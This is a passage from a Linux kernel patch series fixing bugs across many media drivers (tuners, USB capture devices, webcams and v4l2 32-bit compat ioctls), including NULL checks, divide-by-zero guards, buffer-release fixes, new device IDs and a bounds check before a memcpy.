/* adjust_size */ 1, /* adjust_crop */ 1); if (0 != retval) @@ -2476,8 +2492,6 @@ static int bttv_s_fmt_vid_cap(struct file *file, void *priv, f->fmt.pix.field = field; - fmt = format_by_fourcc(f->fmt.pix.pixelformat); - /* update our state informations */ fh->fmt = fmt; fh->cap.field = f->fmt.pix.field; diff --git a/drivers/media/pci/cx18/cx18-driver.c b/drivers/media/pci/cx18/cx18-driver.c index 16e89f026bca3..018cb90453302 100644 --- a/drivers/media/pci/cx18/cx18-driver.c +++ b/drivers/media/pci/cx18/cx18-driver.c @@ -1092,6 +1092,7 @@ static int cx18_probe(struct pci_dev *pci_dev, setup.addr = ADDR_UNSET; setup.type = cx->options.tuner; setup.mode_mask = T_ANALOG_TV; /* matches TV tuners */ + setup.config = NULL; if (cx->options.radio > 0) setup.mode_mask |= T_RADIO; setup.tuner_callback = (setup.type == TUNER_XC2028) ? diff --git a/drivers/media/pci/saa7134/saa7134-alsa.c b/drivers/media/pci/saa7134/saa7134-alsa.c index dbcdfbf8aed0b..11b0ef3a28580 100644 --- a/drivers/media/pci/saa7134/saa7134-alsa.c +++ b/drivers/media/pci/saa7134/saa7134-alsa.c @@ -1145,6 +1145,8 @@ static int alsa_device_init(struct saa7134_dev *dev) static int alsa_device_exit(struct saa7134_dev *dev) { + if (!snd_saa7134_cards[dev->nr]) + return 1; snd_card_free(snd_saa7134_cards[dev->nr]); snd_saa7134_cards[dev->nr] = NULL; @@ -1194,7 +1196,8 @@ static void saa7134_alsa_exit(void) int idx; for (idx = 0; idx < SNDRV_CARDS; idx++) { - snd_card_free(snd_saa7134_cards[idx]); + if (snd_saa7134_cards[idx]) + snd_card_free(snd_saa7134_cards[idx]); } saa7134_dmasound_init = NULL; diff --git a/drivers/media/platform/s5p-mfc/s5p_mfc.c b/drivers/media/platform/s5p-mfc/s5p_mfc.c index 961d7ff75427e..eb92027cef92a 100644 --- a/drivers/media/platform/s5p-mfc/s5p_mfc.c +++ b/drivers/media/platform/s5p-mfc/s5p_mfc.c @@ -1000,6 +1000,11 @@ static int match_child(struct device *dev, void *data) return !strcmp(dev_name(dev), (char *)data); } +static void s5p_mfc_memdev_release(struct device *dev) +{ + dma_release_declared_memory(dev); +} + static void *mfc_get_drv_data(struct platform_device *pdev); static int s5p_mfc_alloc_memdevs(struct s5p_mfc_dev *dev) @@ -1012,6 +1017,9 @@ static int s5p_mfc_alloc_memdevs(struct s5p_mfc_dev *dev) mfc_err("Not enough memory\n"); return -ENOMEM; } + + dev_set_name(dev->mem_dev_l, "%s", "s5p-mfc-l"); + dev->mem_dev_l->release = s5p_mfc_memdev_release; device_initialize(dev->mem_dev_l); of_property_read_u32_array(dev->plat_dev->dev.of_node, "samsung,mfc-l", mem_info, 2); @@ -1029,6 +1037,9 @@ static int s5p_mfc_alloc_memdevs(struct s5p_mfc_dev *dev) mfc_err("Not enough memory\n"); return -ENOMEM; } + + dev_set_name(dev->mem_dev_r, "%s", "s5p-mfc-r"); + dev->mem_dev_r->release = s5p_mfc_memdev_release; device_initialize(dev->mem_dev_r); of_property_read_u32_array(dev->plat_dev->dev.of_node, "samsung,mfc-r", mem_info, 2); diff --git a/drivers/media/platform/s5p-mfc/s5p_mfc_common.h b/drivers/media/platform/s5p-mfc/s5p_mfc_common.h index f804c1faa7fff..d3b54f7b849fe 100644 --- a/drivers/media/platform/s5p-mfc/s5p_mfc_common.h +++ b/drivers/media/platform/s5p-mfc/s5p_mfc_common.h @@ -29,7 +29,7 @@ /* Offset base used to differentiate between CAPTURE and OUTPUT * while mmaping */ -#define DST_QUEUE_OFF_BASE (TASK_SIZE / 2) +#define DST_QUEUE_OFF_BASE (1 << 30) #define MFC_BANK1_ALLOC_CTX 0 #define MFC_BANK2_ALLOC_CTX 1 diff --git a/drivers/media/rc/ir-lirc-codec.c b/drivers/media/rc/ir-lirc-codec.c index e4561264e1243..a895ed02da863 100644 --- a/drivers/media/rc/ir-lirc-codec.c +++ b/drivers/media/rc/ir-lirc-codec.c @@ -42,11 +42,17 @@ static int ir_lirc_decode(struct rc_dev *dev, struct ir_raw_event ev) return -EINVAL; /* Packet start */ - if (ev.reset) - return 0; + if (ev.reset) { + /* Userspace expects a long space event before the start of + * the signal to use as a sync. This may be done with repeat + * packets and normal samples. But if a reset has been sent + * then we assume that a long time has passed, so we send a + * space with the maximum time value. */ + sample = LIRC_SPACE(LIRC_VALUE_MASK); + IR_dprintk(2, "delivering reset sync space to lirc_dev\n"); /* Carrier reports */ - if (ev.carrier_report) { + } else if (ev.carrier_report) { sample = LIRC_FREQUENCY(ev.carrier); IR_dprintk(2, "carrier report (freq: %d)\n", sample); diff --git a/drivers/media/rc/rc-main.c b/drivers/media/rc/rc-main.c index 1cf382a0b2776..cf7bbb6c9807d 100644 --- a/drivers/media/rc/rc-main.c +++ b/drivers/media/rc/rc-main.c @@ -943,9 +943,6 @@ static int rc_dev_uevent(struct device *device, struct kobj_uevent_env *env) { struct rc_dev *dev = to_rc_dev(device); - if (!dev || !dev->input_dev) - return -ENODEV; - if (dev->rc_map.name) ADD_HOTPLUG_VAR("NAME=%s", dev->rc_map.name); if (dev->driver_name) diff --git a/drivers/media/tuners/xc4000.c b/drivers/media/tuners/xc4000.c index 2018befabb5ab..e71decbfd0afd 100644 --- a/drivers/media/tuners/xc4000.c +++ b/drivers/media/tuners/xc4000.c @@ -93,7 +93,7 @@ struct xc4000_priv { struct firmware_description *firm; int firm_size; u32 if_khz; - u32 freq_hz; + u32 freq_hz, freq_offset; u32 bandwidth; u8 video_standard; u8 rf_mode; @@ -1157,14 +1157,14 @@ static int xc4000_set_params(struct dvb_frontend *fe) case SYS_ATSC: dprintk(1, "%s() VSB modulation\n", __func__); priv->rf_mode = XC_RF_MODE_AIR; - priv->freq_hz = c->frequency - 1750000; + priv->freq_offset = 1750000; priv->video_standard = XC4000_DTV6; type = DTV6; break; case SYS_DVBC_ANNEX_B: dprintk(1, "%s() QAM modulation\n", __func__); priv->rf_mode = XC_RF_MODE_CABLE; - priv->freq_hz = c->frequency - 1750000; + priv->freq_offset = 1750000; priv->video_standard = XC4000_DTV6; type = DTV6; break; @@ -1173,23 +1173,23 @@ static int xc4000_set_params(struct dvb_frontend *fe) dprintk(1, "%s() OFDM\n", __func__); if (bw == 0) { if (c->frequency < 400000000) { - priv->freq_hz = c->frequency - 2250000; + priv->freq_offset = 2250000; } else { - priv->freq_hz = c->frequency - 2750000; + priv->freq_offset = 2750000; } priv->video_standard = XC4000_DTV7_8; type = DTV78; } else if (bw <= 6000000) { priv->video_standard = XC4000_DTV6; - priv->freq_hz = c->frequency - 1750000; + priv->freq_offset = 1750000; type = DTV6; } else if (bw <= 7000000) { priv->video_standard = XC4000_DTV7; - priv->freq_hz = c->frequency - 2250000; + priv->freq_offset = 2250000; type = DTV7; } else { priv->video_standard = XC4000_DTV8; - priv->freq_hz = c->frequency - 2750000; + priv->freq_offset = 2750000; type = DTV8; } priv->rf_mode = XC_RF_MODE_AIR; @@ -1200,6 +1200,8 @@ static int xc4000_set_params(struct dvb_frontend *fe) goto fail; } + priv->freq_hz = c->frequency - priv->freq_offset; + dprintk(1, "%s() frequency=%d (compensated)\n", __func__, priv->freq_hz); @@ -1520,7 +1522,7 @@ static int xc4000_get_frequency(struct dvb_frontend *fe, u32 *freq) { struct xc4000_priv *priv = fe->tuner_priv; - *freq = priv->freq_hz; + *freq = priv->freq_hz + priv->freq_offset; if (debug) { mutex_lock(&priv->lock); diff --git a/drivers/media/tuners/xc5000.c b/drivers/media/tuners/xc5000.c index 5cd09a681b6a2..b2d9e9cb97f70 100644 --- a/drivers/media/tuners/xc5000.c +++ b/drivers/media/tuners/xc5000.c @@ -55,7 +55,7 @@ struct xc5000_priv { u32 if_khz; u16 xtal_khz; - u32 freq_hz; + u32 freq_hz, freq_offset; u32 bandwidth; u8 video_standard; u8 rf_mode; @@ -755,13 +755,13 @@ static int xc5000_set_params(struct dvb_frontend *fe) case SYS_ATSC: dprintk(1, "%s() VSB modulation\n", __func__); priv->rf_mode = XC_RF_MODE_AIR; - priv->freq_hz = freq - 1750000; + priv->freq_offset = 1750000; priv->video_standard = DTV6; break; case SYS_DVBC_ANNEX_B: dprintk(1, "%s() QAM modulation\n", __func__); priv->rf_mode = XC_RF_MODE_CABLE; - priv->freq_hz = freq - 1750000; + priv->freq_offset = 1750000; priv->video_standard = DTV6; break; case SYS_ISDBT: @@ -776,15 +776,15 @@ static int xc5000_set_params(struct dvb_frontend *fe) switch (bw) { case 6000000: priv->video_standard = DTV6; - priv->freq_hz = freq - 1750000; + priv->freq_offset = 1750000; break; case 7000000: priv->video_standard = DTV7; - priv->freq_hz = freq - 2250000; + priv->freq_offset = 2250000; break; case 8000000: priv->video_standard = DTV8; - priv->freq_hz = freq - 2750000; + priv->freq_offset = 2750000; break; default: printk(KERN_ERR "xc5000 bandwidth not set!\n"); @@ -798,15 +798,15 @@ static int xc5000_set_params(struct dvb_frontend *fe) priv->rf_mode = XC_RF_MODE_CABLE; if (bw <= 6000000) { priv->video_standard = DTV6; - priv->freq_hz = freq - 1750000; + priv->freq_offset = 1750000; b = 6; } else if (bw <= 7000000) { priv->video_standard = DTV7; - priv->freq_hz = freq - 2250000; + priv->freq_offset = 2250000; b = 7; } else { priv->video_standard = DTV7_8; - priv->freq_hz = freq - 2750000; + priv->freq_offset = 2750000; b = 8; } dprintk(1, "%s() Bandwidth %dMHz (%d)\n", __func__, @@ -817,6 +817,8 @@ static int xc5000_set_params(struct dvb_frontend *fe) return -EINVAL; } + priv->freq_hz = freq - priv->freq_offset; + dprintk(1, "%s() frequency=%d (compensated to %d)\n", __func__, freq, priv->freq_hz); @@ -1067,7 +1069,7 @@ static int xc5000_get_frequency(struct dvb_frontend *fe, u32 *freq) { struct xc5000_priv *priv = fe->tuner_priv; dprintk(1, "%s()\n", __func__); - *freq = priv->freq_hz; + *freq = priv->freq_hz + priv->freq_offset; return 0; } diff --git a/drivers/media/usb/au0828/au0828-video.c b/drivers/media/usb/au0828/au0828-video.c index 75ac9947cdaca..98e1b937b500d 100644 --- a/drivers/media/usb/au0828/au0828-video.c +++ b/drivers/media/usb/au0828/au0828-video.c @@ -788,11 +788,27 @@ static int au0828_i2s_init(struct au0828_dev *dev) /* * Auvitek au0828 analog stream enable - * Please set interface0 to AS5 before enable the stream */ static int au0828_analog_stream_enable(struct au0828_dev *d) { + struct usb_interface *iface; + int ret; + dprintk(1, "au0828_analog_stream_enable called\n"); + + iface = usb_ifnum_to_if(d->usbdev, 0); + if (iface && iface->cur_altsetting->desc.bAlternateSetting != 5) { + dprintk(1, "Changing intf#0 to alt 5\n"); + /* set au0828 interface0 to AS5 here again */ + ret = usb_set_interface(d->usbdev, 0, 5); + if (ret < 0) { + printk(KERN_INFO "Au0828 can't set alt setting to 5!\n"); + return -EBUSY; + } + } + + /* FIXME: size should be calculated using d->width, d->height */ + au0828_writereg(d, AU0828_SENSORCTRL_VBI_103, 0x00); au0828_writereg(d, 0x106, 0x00); /* set x position */ @@ -1003,15 +1019,6 @@ static int au0828_v4l2_open(struct file *filp) return -ERESTARTSYS; } if (dev->users == 0) { - /* set au0828 interface0 to AS5 here again */ - ret = usb_set_interface(dev->usbdev, 0, 5); - if (ret < 0) { - mutex_unlock(&dev->lock); - printk(KERN_INFO "Au0828 can't set alternate to 5!\n"); - kfree(fh); - return -EBUSY; - } - au0828_analog_stream_enable(dev); au0828_analog_stream_reset(dev); @@ -1253,13 +1260,6 @@ static int au0828_set_format(struct au0828_dev *dev, unsigned int cmd, } } - /* set au0828 interface0 to AS5 here again */ - ret = usb_set_interface(dev->usbdev, 0, 5); - if (ret < 0) { - printk(KERN_INFO "Au0828 can't set alt setting to 5!\n"); - return -EBUSY; - } - au0828_analog_stream_enable(dev); return 0; diff --git a/drivers/media/usb/dvb-usb-v2/lmedm04.c b/drivers/media/usb/dvb-usb-v2/lmedm04.c index b3fd0ffa3c3f2..fc28d514bff0d 100644 --- a/drivers/media/usb/dvb-usb-v2/lmedm04.c +++ b/drivers/media/usb/dvb-usb-v2/lmedm04.c @@ -350,6 +350,7 @@ static int lme2510_int_read(struct dvb_usb_adapter *adap) { struct dvb_usb_device *d = adap_to_d(adap); struct lme2510_state *lme_int = adap_to_priv(adap); + struct usb_host_endpoint *ep; lme_int->lme_urb = usb_alloc_urb(0, GFP_ATOMIC); @@ -371,6 +372,12 @@ static int lme2510_int_read(struct dvb_usb_adapter *adap) adap, 8); + /* Quirk of pipe reporting PIPE_BULK but behaves as interrupt */ + ep = usb_pipe_endpoint(d->udev, lme_int->lme_urb->pipe); + + if (usb_endpoint_type(&ep->desc) == USB_ENDPOINT_XFER_BULK) + lme_int->lme_urb->pipe = usb_rcvbulkpipe(d->udev, 0xa), + lme_int->lme_urb->transfer_flags |= URB_NO_TRANSFER_DMA_MAP; usb_submit_urb(lme_int->lme_urb, GFP_ATOMIC); diff --git a/drivers/media/usb/dvb-usb/af9005.c b/drivers/media/usb/dvb-usb/af9005.c index af176b6ce738e..e6d3561eea478 100644 --- a/drivers/media/usb/dvb-usb/af9005.c +++ b/drivers/media/usb/dvb-usb/af9005.c @@ -1081,9 +1081,12 @@ static int __init af9005_usb_module_init(void) err("usb_register failed. (%d)", result); return result; } +#if IS_MODULE(CONFIG_DVB_USB_AF9005) || defined(CONFIG_DVB_USB_AF9005_REMOTE) + /* FIXME: convert to todays kernel IR infrastructure */ rc_decode = symbol_request(af9005_rc_decode); rc_keys = symbol_request(rc_map_af9005_table); rc_keys_size = symbol_request(rc_map_af9005_table_size); +#endif if (rc_decode == NULL || rc_keys == NULL || rc_keys_size == NULL) { err("af9005_rc_decode function not found, disabling remote"); af9005_properties.rc.legacy.rc_query = NULL; diff --git a/drivers/media/usb/em28xx/em28xx-video.c b/drivers/media/usb/em28xx/em28xx-video.c index 32d60e5546bcb..a2737b4b090b6 100644 --- a/drivers/media/usb/em28xx/em28xx-video.c +++ b/drivers/media/usb/em28xx/em28xx-video.c @@ -696,13 +696,16 @@ static int em28xx_stop_streaming(struct vb2_queue *vq) } spin_lock_irqsave(&dev->slock, flags); + if (dev->usb_ctl.vid_buf != NULL) { + vb2_buffer_done(&dev->usb_ctl.vid_buf->vb, VB2_BUF_STATE_ERROR); + dev->usb_ctl.vid_buf = NULL; + } while (!list_empty(&vidq->active)) { struct em28xx_buffer *buf; buf = list_entry(vidq->active.next, struct em28xx_buffer, list); list_del(&buf->list); vb2_buffer_done(&buf->vb, VB2_BUF_STATE_ERROR); } - dev->usb_ctl.vid_buf = NULL; spin_unlock_irqrestore(&dev->slock, flags); return 0; @@ -724,13 +727,16 @@ int em28xx_stop_vbi_streaming(struct vb2_queue *vq) } spin_lock_irqsave(&dev->slock, flags); + if (dev->usb_ctl.vbi_buf != NULL) { + vb2_buffer_done(&dev->usb_ctl.vbi_buf->vb, VB2_BUF_STATE_ERROR); + dev->usb_ctl.vbi_buf = NULL; + } while (!list_empty(&vbiq->active)) { struct em28xx_buffer *buf; buf = list_entry(vbiq->active.next, struct em28xx_buffer, list); list_del(&buf->list); vb2_buffer_done(&buf->vb, VB2_BUF_STATE_ERROR); } - dev->usb_ctl.vbi_buf = NULL; spin_unlock_irqrestore(&dev->slock, flags); return 0; diff --git a/drivers/media/usb/gspca/ov534.c b/drivers/media/usb/gspca/ov534.c index 2e28c81a03abe..a5bee0d0d686e 100644 --- a/drivers/media/usb/gspca/ov534.c +++ b/drivers/media/usb/gspca/ov534.c @@ -1490,8 +1490,13 @@ static void sd_set_streamparm(struct gspca_dev *gspca_dev, struct v4l2_fract *tpf = &cp->timeperframe; struct sd *sd = (struct sd *) gspca_dev; - /* Set requested framerate */ - sd->frame_rate = tpf->denominator / tpf->numerator; + if (tpf->numerator == 0 || tpf->denominator == 0) + /* Set default framerate */ + sd->frame_rate = 30; + else + /* Set requested framerate */ + sd->frame_rate = tpf->denominator / tpf->numerator; + if (gspca_dev->streaming) set_frame_rate(gspca_dev); diff --git a/drivers/media/usb/gspca/pac7302.c b/drivers/media/usb/gspca/pac7302.c index 6008c8d546a32..20d9c15a305d5 100644 --- a/drivers/media/usb/gspca/pac7302.c +++ b/drivers/media/usb/gspca/pac7302.c @@ -945,6 +945,7 @@ static const struct usb_device_id device_table[] = { {USB_DEVICE(0x093a, 0x2620)}, {USB_DEVICE(0x093a, 0x2621)}, {USB_DEVICE(0x093a, 0x2622), .driver_info = FL_VFLIP}, + {USB_DEVICE(0x093a, 0x2623), .driver_info = FL_VFLIP}, {USB_DEVICE(0x093a, 0x2624), .driver_info = FL_VFLIP}, {USB_DEVICE(0x093a, 0x2625)}, {USB_DEVICE(0x093a, 0x2626)}, diff --git a/drivers/media/usb/gspca/topro.c b/drivers/media/usb/gspca/topro.c index 4cb511ccc5f6e..22ea6aefd22f3 100644 --- a/drivers/media/usb/gspca/topro.c +++ b/drivers/media/usb/gspca/topro.c @@ -4791,7 +4791,11 @@ static void sd_set_streamparm(struct gspca_dev *gspca_dev, struct v4l2_fract *tpf = &cp->timeperframe; int fr, i; - sd->framerate = tpf->denominator / tpf->numerator; + if (tpf->numerator == 0 || tpf->denominator == 0) + sd->framerate = 30; + else + sd->framerate = tpf->denominator / tpf->numerator; + if (gspca_dev->streaming) setframerate(gspca_dev, v4l2_ctrl_g_ctrl(gspca_dev->exposure)); diff --git a/drivers/media/usb/hdpvr/hdpvr-video.c b/drivers/media/usb/hdpvr/hdpvr-video.c index 774ba0e820bea..eed70a4d24e6b 100644 --- a/drivers/media/usb/hdpvr/hdpvr-video.c +++ b/drivers/media/usb/hdpvr/hdpvr-video.c @@ -81,7 +81,7 @@ static void hdpvr_read_bulk_callback(struct urb *urb) } /*=========================================================================*/ -/* bufffer bits */ +/* buffer bits */ /* function expects dev->io_mutex to be hold by caller */ int hdpvr_cancel_queue(struct hdpvr_device *dev) @@ -921,7 +921,7 @@ static int hdpvr_s_ctrl(struct v4l2_ctrl *ctrl) case V4L2_CID_MPEG_AUDIO_ENCODING: if (dev->flags & HDPVR_FLAG_AC3_CAP) { opt->audio_codec = ctrl->val; - return hdpvr_set_audio(dev, opt->audio_input, + return hdpvr_set_audio(dev, opt->audio_input + 1, opt->audio_codec); } return 0; @@ -1191,7 +1191,7 @@ int hdpvr_register_videodev(struct hdpvr_device *dev, struct device *parent, v4l2_ctrl_new_std_menu(hdl, &hdpvr_ctrl_ops, V4L2_CID_MPEG_AUDIO_ENCODING, ac3 ? V4L2_MPEG_AUDIO_ENCODING_AC3 : V4L2_MPEG_AUDIO_ENCODING_AAC, - 0x7, V4L2_MPEG_AUDIO_ENCODING_AAC); + 0x7, ac3 ? dev->options.audio_codec : V4L2_MPEG_AUDIO_ENCODING_AAC); v4l2_ctrl_new_std_menu(hdl, &hdpvr_ctrl_ops, V4L2_CID_MPEG_VIDEO_ENCODING, V4L2_MPEG_VIDEO_ENCODING_MPEG_4_AVC, 0x3, diff --git a/drivers/media/usb/pwc/pwc-if.c b/drivers/media/usb/pwc/pwc-if.c index 77bbf78896595..db1e8ee13dede 100644 --- a/drivers/media/usb/pwc/pwc-if.c +++ b/drivers/media/usb/pwc/pwc-if.c @@ -91,6 +91,7 @@ static const struct usb_device_id pwc_device_table [] = { { USB_DEVICE(0x0471, 0x0312) }, { USB_DEVICE(0x0471, 0x0313) }, /* the 'new' 720K */ { USB_DEVICE(0x0471, 0x0329) }, /* Philips SPC 900NC PC Camera */ + { USB_DEVICE(0x0471, 0x032C) }, /* Philips SPC 880NC PC Camera */ { USB_DEVICE(0x069A, 0x0001) }, /* Askey */ { USB_DEVICE(0x046D, 0x08B0) }, /* Logitech QuickCam Pro 3000 */ { USB_DEVICE(0x046D, 0x08B1) }, /* Logitech QuickCam Notebook Pro */ @@ -799,6 +800,11 @@ static int usb_pwc_probe(struct usb_interface *intf, const struct usb_device_id name = "Philips SPC 900NC webcam"; type_id = 740; break; + case 0x032C: + PWC_INFO("Philips SPC 880NC USB webcam detected.\n"); + name = "Philips SPC 880NC webcam"; + type_id = 740; + break; default: return -ENODEV; break; diff --git a/drivers/media/usb/stk1160/stk1160-v4l.c b/drivers/media/usb/stk1160/stk1160-v4l.c index a59153d2f8bfd..518a5299ff0b6 100644 --- a/drivers/media/usb/stk1160/stk1160-v4l.c +++ b/drivers/media/usb/stk1160/stk1160-v4l.c @@ -245,6 +245,11 @@ static int stk1160_stop_streaming(struct stk1160 *dev) if (mutex_lock_interruptible(&dev->v4l_lock)) return -ERESTARTSYS; + /* + * Once URBs are cancelled, the URB complete handler + * won't be running. This is required to safely release the + * current buffer (dev->isoc_ctl.buf). + */ stk1160_cancel_isoc(dev); /* @@ -665,8 +670,16 @@ void stk1160_clear_queue(struct stk1160 *dev) stk1160_info("buffer [%p/%d] aborted\n", buf, buf->vb.v4l2_buf.index); } - /* It's important to clear current buffer */ - dev->isoc_ctl.buf = NULL; + + /* It's important to release the current buffer */ + if (dev->isoc_ctl.buf) { + buf = dev->isoc_ctl.buf; + dev->isoc_ctl.buf = NULL; + + vb2_buffer_done(&buf->vb, VB2_BUF_STATE_ERROR); + stk1160_info("buffer [%p/%d] aborted\n", + buf, buf->vb.v4l2_buf.index); + } spin_unlock_irqrestore(&dev->buf_lock, flags); } diff --git a/drivers/media/usb/ttusb-dec/ttusbdecfe.c b/drivers/media/usb/ttusb-dec/ttusbdecfe.c index 5c45c9d0712dd..9c29552aedec2 100644 --- a/drivers/media/usb/ttusb-dec/ttusbdecfe.c +++ b/drivers/media/usb/ttusb-dec/ttusbdecfe.c @@ -156,6 +156,9 @@ static int ttusbdecfe_dvbs_diseqc_send_master_cmd(struct dvb_frontend* fe, struc 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; + if (cmd->msg_len > sizeof(b) - 4) + return -EINVAL; + memcpy(&b[4], cmd->msg, cmd->msg_len); state->config->send_command(fe, 0x72, diff --git a/drivers/media/usb/usbvision/usbvision-video.c b/drivers/media/usb/usbvision/usbvision-video.c index d34c2afe2c245..bcfefe61a592a 100644 --- a/drivers/media/usb/usbvision/usbvision-video.c +++ b/drivers/media/usb/usbvision/usbvision-video.c @@ -1459,6 +1459,7 @@ static void usbvision_release(struct usb_usbvision *usbvision) usbvision_remove_sysfs(usbvision->vdev); usbvision_unregister_video(usbvision); + kfree(usbvision->alt_max_pkt_size); usb_free_urb(usbvision->ctrl_urb); @@ -1520,7 +1521,7 @@ static int usbvision_probe(struct usb_interface *intf, const struct usb_host_interface *interface; struct usb_usbvision *usbvision = NULL; const struct usb_endpoint_descriptor *endpoint; - int model, i; + int model, i, ret; PDEBUG(DBG_PROBE, "VID=%#04x, PID=%#04x, ifnum=%u", dev->descriptor.idVendor, @@ -1529,33 +1530,51 @@ static int usbvision_probe(struct usb_interface *intf, model = devid->driver_info; if (model < 0 || model >= usbvision_device_data_size) { PDEBUG(DBG_PROBE, "model out of bounds %d", model); - return -ENODEV; + ret = -ENODEV; + goto err_usb; } printk(KERN_INFO "%s: %s found\n", __func__, usbvision_device_data[model].model_string); if (usbvision_device_data[model].interface >= 0) interface = &dev->actconfig->interface[usbvision_device_data[model].interface]->altsetting[0]; - else + else if (ifnum < dev->actconfig->desc.bNumInterfaces) interface = &dev->actconfig->interface[ifnum]->altsetting[0]; + else { + dev_err(&intf->dev, "interface %d is invalid, max is %d\n", + ifnum, dev->actconfig->desc.bNumInterfaces - 1); + ret = -ENODEV; + goto err_usb; + } + + if (interface->desc.bNumEndpoints < 2) { + dev_err(&intf->dev, "interface %d has %d endpoints, but must" + " have minimum 2\n", ifnum, interface->desc.bNumEndpoints); + ret = -ENODEV; + goto err_usb; + } endpoint = &interface->endpoint[1].desc; + if (!usb_endpoint_xfer_isoc(endpoint)) { dev_err(&intf->dev, "%s: interface %d. has non-ISO endpoint!\n", __func__, ifnum); dev_err(&intf->dev, "%s: Endpoint attributes %d", __func__, endpoint->bmAttributes); - return -ENODEV; + ret = -ENODEV; + goto err_usb; } if (usb_endpoint_dir_out(endpoint)) { dev_err(&intf->dev, "%s: interface %d. has ISO OUT endpoint!\n", __func__, ifnum); - return -ENODEV; + ret = -ENODEV; + goto err_usb; } usbvision = usbvision_alloc(dev, intf); if (usbvision == NULL) { dev_err(&intf->dev, "%s: couldn't allocate USBVision struct\n", __func__); - return -ENOMEM; + ret = -ENOMEM; + goto err_usb; } if (dev->descriptor.bNumConfigurations > 1) @@ -1574,7 +1593,8 @@ static int usbvision_probe(struct usb_interface *intf, usbvision->alt_max_pkt_size = kmalloc(32 * usbvision->num_alt, GFP_KERNEL); if (usbvision->alt_max_pkt_size == NULL) { dev_err(&intf->dev, "usbvision: out of memory!\n"); - return -ENOMEM; + ret = -ENOMEM; + goto err_pkt; } for (i = 0; i < usbvision->num_alt; i++) { @@ -1609,6 +1629,12 @@ static int usbvision_probe(struct usb_interface *intf, PDEBUG(DBG_PROBE, "success"); return 0; + +err_pkt: + usbvision_release(usbvision); +err_usb: + usb_put_dev(dev); + return ret; } diff --git a/drivers/media/usb/uvc/uvc_driver.c b/drivers/media/usb/uvc/uvc_driver.c index 5dbefa68b1d20..363cdbf4ac8d8 100644 --- a/drivers/media/usb/uvc/uvc_driver.c +++ b/drivers/media/usb/uvc/uvc_driver.c @@ -1603,12 +1603,12 @@ static void uvc_delete(struct uvc_device *dev) { struct list_head *p, *n; - usb_put_intf(dev->intf); - usb_put_dev(dev->udev); - uvc_status_cleanup(dev); uvc_ctrl_cleanup_device(dev); + usb_put_intf(dev->intf); + usb_put_dev(dev->udev); + if (dev->vdev.dev) v4l2_device_unregister(&dev->vdev); #ifdef CONFIG_MEDIA_CONTROLLER diff --git a/drivers/media/v4l2-core/v4l2-common.c b/drivers/media/v4l2-core/v4l2-common.c index 3fed63f4e0264..ec9a4fa3bc866 100644 --- a/drivers/media/v4l2-core/v4l2-common.c +++ b/drivers/media/v4l2-core/v4l2-common.c @@ -485,16 +485,13 @@ static unsigned int clamp_align(unsigned int x, unsigned int min, /* Bits that must be zero to be aligned */ unsigned int mask = ~((1 << align) - 1); + /* Clamp to aligned min and max */ + x = clamp(x, (min + ~mask) & mask, max & mask); + /* Round to nearest aligned value */ if (align) x = (x + (1 << (align - 1))) & mask; - /* Clamp to aligned value of min and max */ - if (x < min) - x = (min + ~mask) & mask; - else if (x > max) - x = max & mask; - return x; } diff --git a/drivers/media/v4l2-core/v4l2-compat-ioctl32.c b/drivers/media/v4l2-core/v4l2-compat-ioctl32.c index 1d230c5ec6e98..28d5719364b6c 100644 --- a/drivers/media/v4l2-core/v4l2-compat-ioctl32.c +++ b/drivers/media/v4l2-core/v4l2-compat-ioctl32.c @@ -264,7 +264,7 @@ static int put_v4l2_create32(struct v4l2_create_buffers *kp, struct v4l2_create_ struct v4l2_standard32 { __u32 index; - __u32 id[2]; /* __u64 would get the alignment wrong */ + compat_u64 id; __u8 name[24]; struct v4l2_fract frameperiod; /* Frames, not fields */ __u32 framelines; @@ -284,7 +284,7 @@ static int put_v4l2_standard32(struct v4l2_standard *kp, struct v4l2_standard32 { if (!access_ok(VERIFY_WRITE, up, sizeof(struct v4l2_standard32)) || put_user(kp->index, &up->index) || - copy_to_user(up->id, &kp->id, sizeof(__u64)) || + put_user(kp->id, &up->id) || copy_to_user(up->name, kp->name, 24) || copy_to_user(&up->frameperiod, &kp->frameperiod, sizeof(kp->frameperiod)) || put_user(kp->framelines, &up->framelines) || @@ -398,7 +398,8 @@ static int get_v4l2_buffer32(struct v4l2_buffer *kp, struct v4l2_buffer32 __user get_user(kp->index, &up->index) || get_user(kp->type, &up->type) || get_user(kp->flags, &up->flags) || - get_user(kp->memory, &up->memory)) + get_user(kp->memory, &up->memory) || + get_user(kp->length, &up->length)) return -EFAULT; if (V4L2_TYPE_IS_OUTPUT(kp->type)) @@ -420,9 +421,6 @@ static int get_v4l2_buffer32(struct v4l2_buffer *kp, struct v4l2_buffer32 __user } if (V4L2_TYPE_IS_MULTIPLANAR(kp->type)) { - if (get_user(kp->length, &up->length)) - return -EFAULT; - num_planes = kp->length; if (num_planes == 0) { kp->m.planes = NULL; @@ -455,16 +453,14 @@ static int get_v4l2_buffer32(struct v4l2_buffer *kp, struct v4l2_buffer32 __user } else { switch (kp->memory) { case V4L2_MEMORY_MMAP: - if (get_user(kp->length, &up->length) || - get_user(kp->m.offset, &up->m.offset)) + if (get_user(kp->m.offset, &up->m.offset)) return -EFAULT; break; case V4L2_MEMORY_USERPTR: { compat_long_t tmp; - if (get_user(kp->length, &up->length) || - get_user(tmp, &up->m.userptr)) + if (get_user(tmp, &up->m.userptr)) return -EFAULT; kp->m.userptr = (unsigned long)compat_ptr(tmp); @@ -506,7 +502,8 @@ static int put_v4l2_buffer32(struct v4l2_buffer *kp, struct v4l2_buffer32 __user copy_to_user(&up->timecode, &kp->timecode, sizeof(struct v4l2_timecode)) || put_user(kp->sequence, &up->sequence) || put_user(kp->reserved2, &up->reserved2) || - put_user(kp->reserved, &up->reserved)) + put_user(kp->reserved, &up->reserved) || + put_user(kp->length, &up->length)) return -EFAULT; if (V4L2_TYPE_IS_PRIVATE(kp->type)) { @@ -535,13 +532,11 @@ static int put_v4l2_buffer32(struct v4l2_buffer *kp, struct v4l2_buffer32 __user } else { switch (kp->memory) { case V4L2_MEMORY_MMAP: - if (put_user(kp->length, &up->length) || - put_user(kp->m.offset, &up->m.offset)) + if (put_user(kp->m.offset, &up->m.offset)) return -EFAULT; break; case V4L2_MEMORY_USERPTR: - if (put_user(kp->length, &up->length) || - put_user(kp->m.userptr, &up->m.userptr)) + if (put_user(kp->m.userptr, &up->m.userptr)) return -EFAULT; break; case V4L2_MEMORY_OVERLAY: @@ -598,10 +593,10 @@ struct v4l2_input32 { __u32 type; /* Type of input */ __u32 audioset; /* Associated audios 